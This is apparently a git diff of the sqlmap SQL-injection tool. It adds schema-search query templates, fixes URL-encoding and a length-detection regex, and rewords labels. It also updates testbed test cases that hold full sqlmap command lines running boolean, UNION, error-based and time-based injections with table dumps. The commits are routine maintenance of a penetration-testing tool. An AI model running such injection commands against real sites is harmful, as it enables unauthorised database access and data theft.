diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 3ebac553c..ff324ba83 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -525,6 +525,10 @@
             <inband query="SELECT %s FROM %s"/>
             <blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
         </dump_table>
+        <search_db>
+            <inband query="SELECT schemaname FROM domain.tables WHERE %s" condition="schemaname"/>
+            <blind query="SELECT DISTINCT(schemaname) FROM domain.tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM domain.tables WHERE %s" condition="schemaname"/>
+        </search_db>
    </dbms>
 
     <dbms value="Sybase">
diff --git a/lib/core/common.py b/lib/core/common.py
index dec8d935f..dee8fc2f3 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -2844,6 +2844,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
         # except in cases when tampering scripts are used
         if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
             value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
+            value = re.sub(r"(?<= ')%", "%25", value)   # e.g. LIKE '%DBA%'
 
         while True:
             result = _urllib.parse.quote(getBytes(value), safe)
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 41d7493ae..4a6680be5 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -165,9 +165,9 @@ class Dump(object):
 
     def currentDb(self, data):
         if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB):
-            self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
+            self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
-            self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
+            self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         else:
             self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
 
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 324a333e4..b3e156dd1 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.2.31"
+VERSION = "1.4.2.32"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/core/testing.py b/lib/core/testing.py
index be670596f..d4cd8ae43 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -144,9 +144,9 @@ def bedTest():
 
     TESTS = (
         # MaxDB
-        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTDB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
+        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
 
         # Informix
         ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
@@ -155,17 +155,17 @@ def bedTest():
         # Altibase
         ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
         ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
+        ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
 
         # CockroachDB
         ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
         ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
         ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
+        ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
 
         # CrateDB
         ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current schema (equivalent to database on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
+        ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
 
         # Drizzle
         ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
@@ -180,17 +180,17 @@ def bedTest():
         # H2
         ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
         ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current schema (equivalent to database on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
+        ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
 
         # HSQLDB
         ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
         ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current schema (equivalent to database on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
+        ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
 
         # IBM DB2
         ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
         ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
-        ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current user (equivalent to database on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
+        ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
 
         # MariaDB
         ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
@@ -207,7 +207,7 @@ def bedTest():
         # PostgreSQL
         ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
         ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
-        ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
+        ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
     )
 
     retVal = True
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
index bd90f75bc..7219814b4 100644
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -127,7 +127,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
         if partialValue:
             firstChar = len(partialValue)
-        elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
+        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
             firstChar = 0
         elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
             firstChar = int(conf.firstChar) - 1
@@ -138,7 +138,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         else:
             firstChar = 0
 
-        if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
+        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
             lastChar = 0
         elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
             lastChar = int(conf.lastChar)